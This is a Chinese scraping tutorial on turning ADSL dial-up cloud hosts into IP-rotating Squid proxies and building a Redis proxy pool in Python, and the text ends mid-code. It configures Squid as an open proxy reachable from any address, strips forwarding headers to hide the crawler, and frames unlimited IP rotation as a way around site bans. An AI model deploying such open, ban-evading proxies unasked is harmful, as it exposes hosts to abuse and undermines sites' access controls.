本节案例中,我们以阿斯云为例,购买了一台电信型同时安装了 CentOS Linux 系统的云主机。

购买成功之后,我们可以在后台找到服务器的连接 IP、端口、用户名、密码,拨号所用的用户名和密码,如图所示:

image-20210711154649835

然后找到远程管理面板 − 远程连接的用户名和密码,也就是 SSH 远程连接服务器的信息。比如我使用的 IP 和端口是 zhongweidx01.jsq.bz:30042,用户名是 root,命令行下输入如下内容:

1
ssh root@zhongweidx01.jsq.bz -p 30042

输入连接密码,就可以连接上远程服务器了,如图所示:

image-20210711122126383

登录成功之后,我们便可以开始本节的正式内容了。

3. 测试拨号

云主机默认已经配置了拨号相关的信息,如宽带用户名和密码等,所以我们无需额外进行配置,只需要调用相应的拨号命令即可实现拨号和 IP 地址的切换。

我们可以输入如下拨号命令来进行拨号:

1
pppoe-start

拨号命令成功运行,没有报错信息,耗时约几秒,结束之后整个主机就获得了一个有效的 IP 地址。

如果要停止拨号,可以输入如下命令:

1
pppoe-stop

运行完该命令后,网络就会断开,之前的 IP 地址也会被释放。

注意:不同的云主机的拨号命令可能不同,如云立方主机的拨号命令为 adsl-startadsl-stop,请以官方文档的说明为准。

所以,如果要想切换 IP,我们只需要将上面的两个命令组合起来,先执行 pppoe-stop,再执行 pppoe-start。每次拨号,ifconfig 命令观察主机的 IP,如图所示:

image-20210711123026267

可以看到,这里我们执行了停止和开始拨号的命令之后,通过 ifconfig 命令获取的网卡信息的 IP 地址就变化了,所以我们成功实现了 IP 地址的切换。

好,那如果我们要想将这台云主机设置为可以实时变化 IP 的代理服务器的话,主要就有这几件事情:

  • 在云主机上运行代理服务软件,使之可以提供 HTTP 代理服务
  • 实现云主机定时拨号更换 IP
  • 实时获取云主机的代理 IP 和端口信息

接下来我们就来完成这几部分内容吧。

4. 设置代理服务器

当前我们使用的云主机使用的是 Linux 的 CentOS 系统,目前它是无法作为一个 HTTP 代理服务器来使用的,因为该云主机上面目前并没有运行相关的代理软件。要想让该云主机提供 HTTP 代理服务,我们需要在其上面安装并运行相关的代理服务。

那什么软件能提供这种代理服务呢?目前业界比较流行的有 Squid 和 TinyProxy,配置完成之后它们会在特定端口上运行一个 HTTP 代理。知道了该云主机当前的 IP 之后,我们就能使用该云主机上 Squid 或 TinyProxy 提供的 HTTP 代理了。

这里我们以 Squid 为例来进行一下配置。

首先我们安装一下 Squid,在 CentOS 的安装命令如下:

1
2
sudo yum -y update
yum -y install squid

运行完之后,我们便可以成功安装好 Squid 了。

如果要想启动 Squid,可以运行如下命令:

1
systemctl start squid

如果想配置开机自动启动,可以运行如下命令:

1
systemctl enable squid

Squid 成功运行之后,我们可以使用如下命令查看当前 Squid 的运行状态:

1
systemctl status squid

如图所示,我们可以看到 Squid 就成功运行了:

image-20210711132337727

默认情况下,Squid 会运行在 3128 端口,也就是相当于在云主机的 127.0.0.1:3128 上启动了代理服务,接下来我们可以来测试下 Squid 的代理效果,在该台云主机上运行 curl 命令请求 https://httpbin.org,并配置使用云主机的代理:

1
curl -x http://127.0.0.1:3128 https://httpbin.org/get

这里 curl 的 -x 参数代表设置 HTTP 代理,由于这是在云主机上运行的,所以代理直接设置为了 http://127.0.0.1:3128。

运行完毕之后,我们再运行下 ifconfig 获取下当前云主机的 IP,运行结果如图所示:

image-20210711133237708

可以看到返回结果的 origin 字段的 IP 就和 ifconfig 获取的 IP 地址是一致的。

接下来,我们在自己本机上(非云主机)运行如下命令测试下代理的连通情况,这里 IP 就需要更换为云主机本身的 IP 了,刚才可以看到云主机当前拨号的 IP 是 106.45.104.166,所以需要运行如下命令:

1
curl -x http://106.45.104.166:3128 https://httpbin.org/get

然而发现并没有对应的输出结果,代理连接失败。

其实原因在于默认情况下 Squid 并没有开启允许外网访问,我们可以进行 Squid 的相关配置,如更改当前代理运行端口、允许连接的 IP,配置高匿代理等等,这些都需要修改 /etc/squid/squid.conf 文件。

要允许公网访问,最简单的方案就是将 /etc/squid/squid.conf 中的该行:

1
http_access deny all

修改为:

1
http_access allow all

意思是允许来自所有 IP 的请求连接。

另外还需要在配置文件的开头 acl 配置的部分添加该行内容:

1
acl all src 0.0.0.0/0

另外我们还想将 Squid 配置成高度匿名代理,这样目标网站就无从通过一些参数如 X-Forwarded-For 来得知爬虫机本身的 IP 了,所以在配置文件中再添加如下配置:

1
2
request_header_access Via deny all
request_header_access X-Forwarded-For deny all

另外有的云主机厂商可能默认封禁了 Squid 的 3128 端口,建议更换一个端口,比如 3328,修改改行:

1
http_port 3128

修改为:

1
http_port 3328

修改完配置之后保存配置文件,然后重新启动 Squid 即可:

1
systemctl restart squid

这时候在本机上(非云主机)重新运行刚才的 curl 命令,同时更改下端口:

1
curl -x http://106.45.104.166:3328 https://httpbin.org/get

即可得到返回结果:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.1",
"X-Amzn-Trace-Id": "Root=1-60ea8fc0-0701b1494e4680b95889cdb1"
},
"origin": "106.45.104.166",
"url": "https://httpbin.org/get"
}

这时候我们就可以在本机上直接使用云主机的代理了!

5. 动态获取 IP

现在我们已经可以执行命令让主机动态切换 IP 了,同时也在主机上搭建好代理服务器了,接下来我们只需要知道拨号后的 IP 就可以使用代理了。

那怎么动态获取拨号主机的 IP 呢?又怎么来维护这些代理呢?怎么保证获取到的代理一定是可用的呢?这时候我们可能想到一些问题:

  • 如果我们只有一台拨号云主机并设置了定时拨号的话,那么在拨号的几秒时间内,该云主机提供的代理服务是不可用的。
  • 如果我们不用定时拨号的方法,而想要在爬虫端控制拨号云主机的拨号操作的话,爬虫端还需要单独的逻辑来处理拨号和重连的问题,这会带来额外的开销。

综合考虑下来,一个比较好的解决方案是:

  • 为了不增加爬虫端的逻辑开销,爬虫端应该无需关心拨号云主机的拨号操作,我们只需要保证爬虫通过某个接口获取到的代理是可用的就行了,拨号云主机的代理的维护逻辑和爬虫是毫不相关的。
  • 为了解决一台拨号云主机在拨号时代理不可用的问题,我们需要有多台云主机同时提供代理服务,我们可以将不同云主机的拨号时段错开,当一台云主机正在拨号时,我们可以用其他云主机顶替。

  • 为了更加方便地维护和使用代理,我们可以像前文介绍的代理池一样把这些云主机的代理统一维护起来,所有拨号云主机的代理统一存储到一个公共的 Redis 数据库中,可以使用 Redis 的 Hash 存储方式,存好每台云主机和对应代理的映射关系。拨号云主机拨号前将自己对应的代理内容清空,拨号成功之后再将代理更新,这样 Redis 数据库中的代理就一定是实时可用的代理了。

利用这种思路,我们要做的其实就有如下几点:

  • 配置一个可以公网访问的 Redis 数据库,每台云主机可以将自己的代理存储到对应的 Redis 数据库中,由该 Redis 数据库维护这些代理。
  • 申请多台拨号云主机并按照上文所述配置好 Squid 代理服务,每台云主机设置定时拨号来更换 IP。
  • 每台云主机在拨号前删除 Redis 数据库中原来的代理,拨号成功之后测试一下代理的可用性,将最新的代理更新到 Redis 数据库中即可。

OK,接下来我们就来操作一下吧。

由于云主机要进行 Redis 数据库的操作,所以我们可以使用 Python 来实现,所以先在云主机上装下 Python:

1
yum -y install python3

关于自动拨号、连接 Redis 数据库、获取本机代理、设置 Redis 数据库的操作,我已经写好了一个 Python 的包并发布到 PyPi 了,我们可以直接使用这个包来完成如上的功能,这个包叫做 adslproxy,可以在云主机上使用 pip3 来安装:

1
pip3 install adslproxy

安装完毕之后,我们可以使用 export 命令设置下环境变量:

1
2
3
4
5
6
7
8
export REDIS_HOST=<Redis数据库的地址>
export REDIS_PORT=<Redis数据库的端口>
export REDIS_PASSWORD=<Redis数据库的密码>
export PROXY_PORT=<拨号云主机配置的代理端口>
export DIAL_BASH=<拨号脚本>
export DIAL_IFNAME=<网卡名称>
export CLIENT_NAME=<云主机的唯一标识>
export DIAL_CYCLE=<拨号间隔>

这里 REDIS_HOST、REDIS_PORT、REDIS_PASSWORD 就是远程 Redis 的连接信息,就不再赘述了。PROXY_PORT 就是云主机上代理服务的端口,我们已经设置为了 3328。DIAL_BASH 就是拨号的命令,即 pppoe-stop;pppoe-start,当然该脚本的内容不同的云主机厂商可能不同,以实际为准。DIAL_IFNAME 即拨号云主机上的网卡名称,程序可以通过获取该网卡的信息来获取当前拨号主机的 IP 地址,通过上述操作可以发现,网卡名称叫做 ppp0,当然这个名称也是以实际为准。CLIENT_NAME 就是云主机的唯一标识,用来在 Redis 中存储主机和代理的映射,因为我们有多台云主机,所以不同云主机的名称应该设置为不同的字符串,比如 adsl1、adsl2 等等。

这里我们设置如图所示:

image-20210711152355780

设置好环境变量之后,我们就可以运行 adslproxy 命令来进行拨号了,命令如下:

1
adslproxy send

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2021-07-11 15:30:03.062 | INFO     | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:30:04.065 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:30:05.373 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.33
2021-07-11 15:30:15.552 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.33:3328
2021-07-11 15:30:16.501 | INFO | adslproxy.sender.sender:set_proxy:82 - Successfully set proxy 106.45.105.33:3328
2021-07-11 15:33:36.678 | INFO | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:33:36.679 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:33:36.680 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:33:37.214 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:33:38.617 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.219
2021-07-11 15:33:48.750 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.219:3328
...

这里我们就可以看到,因为云主机在拨号之后当前代理就会失效了,所以在拨号之前程序先尝试从 Redis 中删除当前云主机的代理。接下来就开始执行拨号操作,拨号成功之后验证一下代理是可用的,然后再将该代理存储到 Redis 数据库中。循环往复运行,我们就达到了定时更换 IP 的效果,同时 Redis 数据库中也是实时可用的代理。

最后按照同样的配置,我们可以购买多台拨号云主机并进行如上同样的设置,这样就有多个稳定的定时更新的代理可用了,Redis 中会实时更新各台云主机的代理,如图所示。

图中所示是四台 ADSL 拨号云主机配置并运行后 Redis 数据库中的内容,其中的代理都是实时可用的。

6. 使用代理

那怎么使用代理呢?我们可以在任意可以公网访问的云主机上连接刚才的 Redis 数据库并搭建一个 API 服务即可。怎么搭建呢?我们可以同样使用刚才的 adslproxy 库,该库也提供了 API 服务的功能。

为了方便测试,我们在本机进行测试,安装好 adslproxy 包之后,然后设置好 REDIS 相关的环境变量:

1
2
3
export REDIS_HOST=<Redis数据库的地址>
export REDIS_PORT=<Redis数据库的端口>
export REDIS_PASSWORD=<Redis数据库的密码>

然后运行如下命令启动即可:

1
2020-07-11 16:31:58.651 | INFO     | adslproxy.server.server:serve:68 - API listening on http://0.0.0.0:8425

可以看到 API 服务就在 8425 端口上运行了,我们打开浏览器即可访问首页,如图所示:

image-20210711153319974

其中最重要的就是 random 接口了,我们使用 random 接口即可获取 Redis 数据库中的一个随机代理,如图所示:

image-20210711153419543

测试下可用性也没有问题,这样爬虫就可以使用这个代理来进行数据爬取了。

最后,我们将 API 服务部署一下,这个 ADSL 代理服务就可以像代理池一样被使用了,每请求一次 API 就可以获取一个实时可用代理,不同的时间段这个代理就会实时更换,而且连接稳定速度又快,实在是网络爬虫的最佳搭档。

7. 总结

本节我们介绍了 ADSL 拨号代理的搭建过程。通过这种代理,我们可以无限次更换 IP,而且线路非常稳定,爬虫抓取效果也会好很多。

本节代码:https://github.com/Python3WebSpider/AdslProxy

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

我们在上一节中了解了各个请求库设置代理的各个方法,但是如何实时高效地获取到大量可用的代理是一个问题。

首先,在互联网上有大量公开的免费代理。当然,我们也可以购买付费的代理 IP,但是代理不论是免费的还是付费的,都不能保证是可用的,因为此 IP 可能被其他人用来爬取同样的目标站点而被封禁,或者代理服务器突然发生故障或网络繁忙。一旦我们选用了一个不可用的代理,这势必会影响爬虫的工作效率。

所以,我们需要提前做筛选,将不可用的代理剔除掉,保留可用代理。

那么,怎么实现呢?这就需要借助于一个叫作代理池的东西了。

接下来,本节就来介绍一下如何搭建一个高效易用的代理池。

1.准备工作

这里代理池的存储需要借助于 Redis,因此需要额外安装它。总体来说,本节需要的环境如下:

  • 需要安装并成功运行和连接一个 Redis 数据库,Redis 运行在本地或者远端服务器都可以,只要能正常连接就行,安装方式可以参考:https://setup.scrape.center/redis

  • 安装好一些必要的库,包括 aiohttp、requests、redis-py、pyquery、Flask、loguru 等,安装命令如下:

    1
    pip3 install aiohttp requests redis pyquery flask loguru

做好了如上准备工作,我们便可以开始实现或运行本节所讲的代理池了。

2.代理池的目标

我们需要做到下面几个目标来实现易用高效的代理池。

代理池基本模块分为 4 部分:存储模块、获取模块、检测模块和接口模块,其功能如下:

  • 存储模块:负责存储抓取下来的代理。首先要保证代理不重复,要标识代理的可用情况,还要动态实时处理每个代理,所以一种比较高效和方便的存储方式就是使用 Redis 的 Sorted Set,即有序集合。
  • 获取模块:需要定时在各大代理网站抓取代理。代理既可以是免费公开代理,也可以是付费代理,代理的形式都是 IP 加端口。此模块尽量从不同来源获取,尽量抓取高匿代理,抓取成功之后将可用代理保存到数据库中。
  • 检测模块:需要定时检测数据库中的代理。这里需要设置一个检测链接,最好是爬取哪个网站就检测哪个网站,这样更加有针对性。如果要做一个通用型的代理,可以设置百度等链接来检测。另外,我们需要标识每一个代理的状态,如设置分数标识,100 分代表可用,分数越少代表越不可用。检测一次,如果代理可用,我们可以将分数标识立即设置为 100 满分,也可以在原基础上加 1 分;如果代理不可用,可以将分数标识减 1 分,当分数减到一定阈值后,代理就直接从数据库移除。通过这样标识分数,我们就可以辨别代理的可用情况,选用的时候会更有针对性。
  • 接口模块:需要用 API 来提供对外服务的接口。其实我们可以直接连接数据库来取对应的数据,但是这样就需要知道数据库的连接信息,并且要配置连接,而比较安全和方便的方式就是提供一个 Web API 接口,我们通过访问接口即可拿到可用代理。另外,由于可用代理可能有多个,所以我们可以设置一个随机返回某个可用代理的接口,这样就能保证每个可用代理都可以取到,实现负载均衡。

以上内容是设计代理的一些基本思路。接下来,我们设计整体的架构,然后用代码实现代理池。

3. 代理池的架构

根据上文的描述,代理池的架构如图所示。

图中所示的代理池分为 4 个模块:存储模块、获取模块、检测模块和接口模块:

  • 存储模块使用 Redis 的有序集合,用来做代理的去重和状态标识,同时它也是中心模块和基础模块,用于将其他模块串联起来。
  • 获取模块定时从代理网站获取代理,将获取的代理传递给存储模块,并保存到数据库。
  • 检测模块定时通过存储模块获取所有代理,并对代理进行检测,根据不同的检测结果对代理设置不同的标识。
  • 接口模块通过 Web API 提供服务接口,接口通过连接数据库并通过 Web 形式返回可用的代理。

4.代理池的实现

接下来,我们分别用代码来实现一下这 4 个模块。

注意:完整的代理池代码量较大,因此本节的代码我们不再一步步跟着编写,最后去了解源码即可,源码地址为:https://github.com/Python3WebSpider/ProxyPool

存储模块

这里我们使用 Redis 的有序集合,集合中的每一个元素都是不重复的。对于代理池来说,集合中的元素就变成了一个个代理,也就是 IP 加端口的形式,如 60.207.237.111:8888。另外,有序集合的每一个元素都有一个分数字段,分数是可以重复的,既可以是浮点数类型,也可以是整数类型。该集合会根据每一个元素的分数对集合进行排序,数值小的排在前面,数值大的排在后面,这样就可以实现集合元素的排序了。

对于代理池来说,这个分数可以作为判断一个代理是否可用的标志:100 为最高分,代表最可用;0 为最低分,代表最不可用。如果要获取可用代理,可以从代理池中随机获取分数最高的代理。注意这里是随机,这样可以保证每个可用代理都会被调用到。

分数是我们判断代理稳定性的重要标准。设置分数的规则如下所示。

  • 分数 100 为可用,检测器会定时循环检测每个代理的可用情况。一旦检测到有可用的代理,就立即置为 100;如果检测到不可用,就将分数减 1,分数减至 0 后代理移除。
  • 新获取的代理的分数为 10,如果测试可行,分数立即置为 100,不可行则将分数减 1,分数减至 0 后代理移除。

这只是一种解决方案,当然可能还有更合理的方案。之所以设置此方案,有如下几个原因。

  • 在检测到代理可用时,分数立即置为 100,这样可以保证所有可用代理有更大的机会被获取到。你可能会问,为什么不将分数加 1 而是直接将其设为最高值 100 呢?设想一下,有的代理是从各大免费公开代理网站获取的,常常一个代理并没有那么稳定,平均 5 次请求可能有 2 次成功,3 次失败。如果按照这种方式来设置分数,那么这个代理几乎不可能达到一个高的分数,也就是说即便它有时是可用的,但是筛选的分数最高,那这样的代理几乎不可能被取到。如果想追求代理稳定性,可以用上述方法,这种方法可确保分数最高的代理一定是最稳定可用的。所以,这里我们采取 “可用即设置 100” 的方法,确保只要可用的代理都可以被获取到。
  • 在检测到代理不可用时,分数减 1,分数减至 0 后,代理移除。这样一个有效代理如果被移除,需要连续不断失败 100 次。也就是说,当一个可用代理尝试了 100 次都失败了,就一直减分直到移除,一旦成功,就重新置回 100。尝试机会越多,这个代理拯救回来的机会越多,这样就不容易将曾经的一个可用代理丢弃,因为代理不可用的原因很可能是网络繁忙或者其他人用此代理请求太过频繁,所以这里将分数设为 100。
  • 将新获取的代理的分数设置为 10,如果它不可用,分数就减 1,直到减到 0 就移除;如果代理可用,分数就置为 100。由于很多代理是从免费网站获取的,所以新获取的代理无效的比例非常高,可能可用的代理不足 10%。这里我们将分数设置为 10,检测的机会没有可用代理的 100 次那么多,这也可以适当减少开销。

上述代理分数的设置思路不一定是最优思路,但据个人实测,它的实用性还是比较强的。

这里首先给出存储模块的实现代码,见 https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/storages,建议直接对照源码阅读。

在代码中,我们定义了一个类来操作数据库的有序集合,定义了一些方法来实现分数的设置、代理的获取等。其核心实现代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import redis
from proxypool.exceptions import PoolEmptyException
from proxypool.schemas.proxy import Proxy
from proxypool.setting import REDIS_HOST, REDIS_PORT, REDIS_PASSWORD, REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MIN, \
PROXY_SCORE_INIT
from random import choice
from typing import List
from loguru import logger
from proxypool.utils.proxy import is_valid_proxy, convert_proxy_or_proxies


REDIS_CLIENT_VERSION = redis.__version__
IS_REDIS_VERSION_2 = REDIS_CLIENT_VERSION.startswith('2.')


class RedisClient(object):
"""
redis connection client of proxypool
"""

def __init__(self, host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, **kwargs):
"""
init redis client
:param host: redis host
:param port: redis port
:param password: redis password
"""
self.db = redis.StrictRedis(host=host, port=port, password=password, decode_responses=True, **kwargs)

def add(self, proxy: Proxy, score=PROXY_SCORE_INIT) -> int:
"""
add proxy and set it to init score
:param proxy: proxy, ip:port, like 8.8.8.8:88
:param score: int score
:return: result
"""
if not is_valid_proxy(f'{proxy.host}:{proxy.port}'):
logger.info(f'invalid proxy {proxy}, throw it')
return
if not self.exists(proxy):
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, score, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): score})

def random(self) -> Proxy:
"""
get random proxy
firstly try to get proxy with max score
if not exists, try to get proxy by rank
if not exists, raise error
:return: proxy, like 8.8.8.8:8
"""
# try to get proxy with max score
proxies = self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else get proxy by rank
proxies = self.db.zrevrange(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else raise error
raise PoolEmptyException

def decrease(self, proxy: Proxy) -> int:
"""
decrease score of proxy, if small than PROXY_SCORE_MIN, delete it
:param proxy: proxy
:return: new score
"""
score = self.db.zscore(REDIS_KEY, proxy.string())
# current score is larger than PROXY_SCORE_MIN
if score and score > PROXY_SCORE_MIN:
logger.info(f'{proxy.string()} current score {score}, decrease 1')
if IS_REDIS_VERSION_2:
return self.db.zincrby(REDIS_KEY, proxy.string(), -1)
return self.db.zincrby(REDIS_KEY, -1, proxy.string())
# otherwise delete proxy
else:
logger.info(f'{proxy.string()} current score {score}, remove')
return self.db.zrem(REDIS_KEY, proxy.string())

def exists(self, proxy: Proxy) -> bool:
"""
if proxy exists
:param proxy: proxy
:return: if exists, bool
"""
return not self.db.zscore(REDIS_KEY, proxy.string()) is None

def max(self, proxy: Proxy) -> int:
"""
set proxy to max score
:param proxy: proxy
:return: new score
"""
logger.info(f'{proxy.string()} is valid, set to {PROXY_SCORE_MAX}')
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, PROXY_SCORE_MAX, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): PROXY_SCORE_MAX})

def count(self) -> int:
"""
get count of proxies
:return: count, int
"""
return self.db.zcard(REDIS_KEY)

def all(self) -> List[Proxy]:
"""
get all proxies
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX))

def batch(self, start, end) -> List[Proxy]:
"""
get batch of proxies
:param start: start index
:param end: end index
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrevrange(REDIS_KEY, start, end - 1))


if __name__ == '__main__':
conn = RedisClient()
result = conn.random()
print(result)

首先,我们定义了一些常量,如 PROXY_SCORE_MAXPROXY_SCORE_MINPROXY_SCORE_INIT 分别代表最大分数、最小分数、初始分数。REDIS_HOSTREDIS_PORTREDIS_PASSWORD 分别代表了 Redis 的连接信息,即地址、端口和密码。REDIS_KEY 是有序集合的键名,我们可以通过它来获取代理存储所使用的有序集合。

RedisClient 这个类可以用来操作 Redis 的有序集合,其中定义了一些方法来对集合中的元素进行处理,它的主要功能如下所示。

  • __init__ 方法是初始化的方法,其参数是 Redis 的连接信息,默认的连接信息已经定义为常量。我们在 __init__ 方法中初始化了 StrictRedis 类,建立了 Redis 连接。
  • add 方法用于向数据库添加代理并设置分数,默认的分数是 PROXY_SCORE_INIT,也就是 10,返回结果是添加的结果。
  • random 方法是随机获取代理的方法。首先获取 100 分的代理,然后随机选择一个返回。如果不存在 100 分的代理,则此方法按照排名来获取,选取前 100 名,然后随机选择一个返回,否则抛出异常。
  • decrease 方法是在代理检测无效的时候设置分数减 1 的方法,代理传入后,此方法将代理的分数减 1,如果分数达到最低值,那么代理就删除。
  • exists 方法用于判断代理是否存在集合中。
  • max 方法用于将代理的分数设置为 PROXY_SCORE_MAX,即 100,也就是代理有效时的设置。
  • count 方法用于返回当前集合的元素个数。
  • all 方法返回所有的代理列表,供检测使用。

定义好这些方法后,我们可以在后续的模块中调用此类来连接和操作数据库。如果要获取随机可用的代理,只需要调用 random 方法即可,得到的就是随机的可用代理。

获取模块

获取模块主要是为了从各大网站抓取代理并调用存储模块进行保存,代码实现见 https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/crawlers。

获取模块的逻辑相对简单,比如我们可以定义一些抓取代理的方法,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from proxypool.crawlers.base import BaseCrawler
from proxypool.schemas.proxy import Proxy
import re


MAX_PAGE = 5
BASE_URL = 'http://www.ip3366.net/free/?stype=1&page={page}'


class IP3366Crawler(BaseCrawler):
"""
ip3366 crawler, http://www.ip3366.net/
"""
urls = [BASE_URL.format(page=i) for i in range(1, 8)]

def parse(self, html):
"""
parse html file to get proxies
:return:
"""
ip_address = re.compile('<tr>\s*<td>(.*?)</td>\s*<td>(.*?)</td>')
# \s * 匹配空格,起到换行作用
re_ip_address = ip_address.findall(html)
for address, port in re_ip_address:
proxy = Proxy(host=address.strip(), port=int(port.strip()))
yield proxy

这里定义了一个代理类 Crawler,用来抓取某一网站的代理,这里抓取的是 IP3366 的公开代理,通过 parse 方法来解析页面的源码并构造一个个 Proxy 对象返回即可。

另外,在其父类 BaseCrawler 里面定义了通用的页面抓取方法,它可以读取子类里面定义的 urls 全局变量并进行爬取,然后调用子类的 parse 方法来解析页面,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from retrying import retry
import requests
from loguru import logger


class BaseCrawler(object):
urls = []

@retry(stop_max_attempt_number=3, retry_on_result=lambda x: x is None)
def fetch(self, url, **kwargs):
try:
response = requests.get(url, **kwargs)
if response.status_code == 200:
return response.text
except requests.ConnectionError:
return

@logger.catch
def crawl(self):
"""
crawl main method
"""
for url in self.urls:
logger.info(f'fetching {url}')
html = self.fetch(url)
for proxy in self.parse(html):
logger.info(f'fetched proxy {proxy.string()} from {url}')
yield proxy

如果要扩展一个代理的 Crawler,只需要集成 BaseCrawler 并实现 parse 方法即可,扩展性较好。

因此,这一个个的 Crawler 就可以针对各个不同的代理网站进行代理的抓取。最后,有一个统一的方法将 Crawler 汇总起来,遍历调用即可。

如何汇总呢?这里我们可以检测代码只要定义有 BaseCrawler 的子类就算一个有效的代理 Crawler,可以直接通过遍历 Python 文件包的方式来获取,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pkgutil
from .base import BaseCrawler
import inspect

# load classes subclass of BaseCrawler
classes = []
for loader, name, is_pkg in pkgutil.walk_packages(__path__):
module = loader.find_module(name).load_module(name)
for name, value in inspect.getmembers(module):
globals()[name] = value
if inspect.isclass(value) and issubclass(value, BaseCrawler) and value is not BaseCrawler:
classes.append(value)
__all__ = __ALL__ = classes

这里我们调用了 walk_packages 方法,遍历了整个 crawlers 模块下的类,并判断它是 BaseCrawler 的子类,那就将其添加到结果中并返回。

最后,只要将 classes 遍历并依次实例化,调用其 crawl 方法即可完成代理的爬取和提取,代码实现见 https://github.com/Python3WebSpider/ProxyPool/blob/master/proxypool/processors/getter.py。

检测模块

我们已经成功将各个网站的代理获取下来了,现在需要一个检测模块来对所有代理进行多轮检测。代理检测可用,分数就设置为 100,代理不可用,分数就减 1,这样可以实时改变每个代理的可用情况。如果要获取有效代理,只需要获取分数高的代理即可。

由于代理的数量非常多,为了提高代理的检测效率,这里使用异步请求库 aiohttp 来检测。

requests 作为一个同步请求库,我们在发出一个请求之后,程序需要等待网页加载完成之后才能继续执行。也就是这个过程会阻塞等待响应,如果服务器响应非常慢,比如一个请求等待十几秒,那么我们使用 requests 完成一个请求就会需要十几秒的时间,程序也不会继续往下执行,而在这十几秒的时间里,程序其实完全可以去做其他的事情,比如调度其他的请求或者进行网页解析等。

对于响应速度比较快的网站来说,requests 同步请求和 aiohttp 异步请求的效果差距没那么大。可对于检测代理来说,检测一个代理一般需要十多秒甚至几十秒的时间,这时候使用 aiohttp 异步请求库的优势就大大体现出来了,效率可能会提高几十倍不止。

所以,我们的代理检测使用异步请求库 aiohttp,实现示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import asyncio
import aiohttp
from loguru import logger
from proxypool.schemas import Proxy
from proxypool.storages.redis import RedisClient
from proxypool.setting import TEST_TIMEOUT, TEST_BATCH, TEST_URL, TEST_VALID_STATUS
from aiohttp import ClientProxyConnectionError, ServerDisconnectedError, ClientOSError, ClientHttpProxyError
from asyncio import TimeoutError

EXCEPTIONS = (
ClientProxyConnectionError,
ConnectionRefusedError,
TimeoutError,
ServerDisconnectedError,
ClientOSError,
ClientHttpProxyError
)

class Tester(object):
"""
tester for testing proxies in queue
"""

def __init__(self):
"""
init redis
"""
self.redis = RedisClient()
self.loop = asyncio.get_event_loop()

async def test(self, proxy: Proxy):
"""
test single proxy
:param proxy: Proxy object
:return:
"""
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:
try:
logger.debug(f'testing {proxy.string()}')
async with session.get(TEST_URL, proxy=f'http://{proxy.string()}', timeout=TEST_TIMEOUT,
allow_redirects=False) as response:
if response.status in TEST_VALID_STATUS:
self.redis.max(proxy)
logger.debug(f'proxy {proxy.string()} is valid, set max score')
else:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')
except EXCEPTIONS:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')

@logger.catch
def run(self):
"""
test main method
:return:
"""
# event loop of aiohttp
logger.info('stating tester...')
count = self.redis.count()
logger.debug(f'{count} proxies to test')
for i in range(0, count, TEST_BATCH):
# start end end offset
start, end = i, min(i + TEST_BATCH, count)
